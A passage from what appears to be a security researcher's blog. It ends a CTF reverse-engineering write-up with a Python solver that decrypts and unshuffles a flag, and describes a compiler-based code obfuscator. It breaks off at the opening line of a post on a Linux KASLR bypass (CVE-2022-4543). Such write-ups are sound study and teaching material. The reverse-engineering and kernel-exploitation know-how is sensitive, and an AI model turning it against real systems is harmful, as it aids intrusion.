-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520b0a</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520b0a</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045521bb3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2150f11045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045d3b0e3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045da0ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045570cd0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2150191045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045521794</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520add</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455204d1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045521463</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2153c91045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045563f34</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045e00ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045502ab3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2150791045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045521264</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104552069e</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520a66</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455211b3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2150e11045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104557342b</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045d60ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104556992a</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2150e91045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045521264</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520add</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520988</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045521a97</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2153e91045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045558a1e</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045f80ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411047e3ede3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2150511045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455215b7</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455204d1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520a40</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455200f7</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2153c91045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104557342b</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045de0ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411046ef5114</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455248af</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104552050c</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520170</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104552049d</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520637</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2153811045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455b5120</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045e60ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045d9af54</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045523296</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045546002</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520bfa</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045520a40</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455201e3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2153e11045520ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455009da</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411045080ff3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411044144ef3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x215241104552275c</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x21524110455b5120</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, -</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2152411048bda353</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]
answer = [ctypes.c_int64(ctypes.c_uint64(_).value ^ </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xdeadbeefbaadf00d</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">).value </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> _ </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> enc_answer]
charset = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
bbs_val = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x31337</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">bbs</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">():
m = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">11134415137</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">global</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> bbs_val
bbs_val = ctypes.c_int64(bbs_val * bbs_val).value % m
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># print(bbs_val)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> bbs_val
rol = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> val, r_bits, max_bits=</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">64</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">: \
(val << r_bits%max_bits) & (</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">**max_bits-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) | \
((val & (</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">**max_bits-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)) >> (max_bits-(r_bits%max_bits)))
ror = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> val, r_bits, max_bits=</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">64</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">: \
((val & (</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">**max_bits-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">**max_bits-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">))
sigma = </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">sum</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(x + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)])
transforms = [
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : (x + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) ** </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : x ^ </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0DEFACED</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : (x - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) ** </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : x * </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0000000FF1CE</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> // </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1337</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : (x + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) ** </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : ctypes.c_int64(rol(x, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">17</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)).value,
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : (x - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) ** </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : ctypes.c_int64(ror(x, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">21</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)).value,
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : (x + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">5</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) ** </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">lambda</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> x : sigma(x),
]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">reverse_transform</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (func, target):
mapping = {}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> c </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> charset:
mapping[func(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">ord</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(c))] = c
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(mapping) == </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(charset))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> mapping[target]
array = [[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> _ </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)] </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> __ </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> s </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">19</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> j </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i + j == s:
array[i][j] = reverse_transform(transforms[s </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> s < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">19</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> - s], answer[i * </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> + j])
shuffle_idx = {}
seen = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">set</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">()
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">while</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(seen) < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">100</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
temp = bbs() % </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">100</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">while</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> temp </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> seen:
temp = bbs() % </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">100</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
x = temp // </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
y = temp % </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
shuffle_idx[(x, y)] = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(seen)
seen.add(temp)
answer = [</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'_'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> _ </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">100</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> j </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
idx = (i, j)
answer[shuffle_idx[idx]] = array[i][j]
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">print</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">.join(answer))</span></span></p><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw_-aGtazKnEUoIQxvKxy733mt7X1kvXsj4YCwvQcXatRrrumAhUpSRRe6VuwOUT5nNwyYR1i4GF8PulK9P5Ove37ZQDSoajFbggXoI0VF96BAn3JOWq8SiGwVLqtpEorLCQ2msedIKzo2ob1aKqgEmcfQikqin9HTgVqlA4gwGKkcUFt2jv-L89vCP6oE/s1179/crackme2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="862" data-original-width="1179" height="468" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjw_-aGtazKnEUoIQxvKxy733mt7X1kvXsj4YCwvQcXatRrrumAhUpSRRe6VuwOUT5nNwyYR1i4GF8PulK9P5Ove37ZQDSoajFbggXoI0VF96BAn3JOWq8SiGwVLqtpEorLCQ2msedIKzo2ob1aKqgEmcfQikqin9HTgVqlA4gwGKkcUFt2jv-L89vCP6oE/w640-h468/crackme2.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><p>Solvers of this challenge did not opt for the deobfuscation approach to my
knowledge, as the obfuscated code was small enough that it can be
statically analyzed with manual willpower or monkeyed around in a
debugger (my least favorite approach to reversing).</p><p>In regards to the obfuscator’s development, it did not take me very
long (only about 2-3 days total with anematode combined with debugging
some of the codegen unit tests). This is in part thanks to 6.035, MIT’s
optimizing compiler class for x86 - I had to write yet another compiler
for a subset of C in the past semester. Compared to the homerolled
compiler I made for last year’s vmquack’s revenge, this one was much
more modular, with a clearly defined frontend, middle end IR that
applied a variety of SSA and non-SSA based optimization passes, and
backend for code generation, effectively giving me my own miniature
LLVM. </p><p>All I had to do was add a new type of register for my register
allocator and emit obfuscated code for all my IR in a new code
generation module. This tooling is honestly quite useful, especially now
that I can create arbitrarily complex C programs for any imaginary or
real architecture and add passes along with new IR instructions in the
middle-end for other obfuscation strategies. Spitting out stupidly toxic
reversing challenges will be so easy from now on 😎</p><p>
</p><p>I hope you have learned something new from this writeup (at least
something about AVX-512), and please do let me know if there any errors
or further questions! Thanks once again to anematode for co-authoring
this challenge with me (he is the most knowledgeable person I know
around me in regards to x86 and SSE/AVX instructions and performance). A
special shoutout must go to TheBadGod on team <a href="https://org.anize.rs/" target="_blank">organizers</a> for first-blooding it, and to <a href="https://twitter.com/CyberTeamItaly" target="_blank">TeamItaly</a> and <a href="https://twitter.com/iris_sec" target="_blank">IrisSec</a> for solving it during the CTF.</p></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-263131273753622642022-12-16T13:00:00.008-08:002022-12-18T15:39:04.803-08:00EntryBleed: Breaking KASLR under KPTI with Prefetch (CVE-2022-4543)<p>Recently, I’ve discovered that Linux KPTI has implementation issues that can allow any unprivileged local attacker to bypass KASLR on
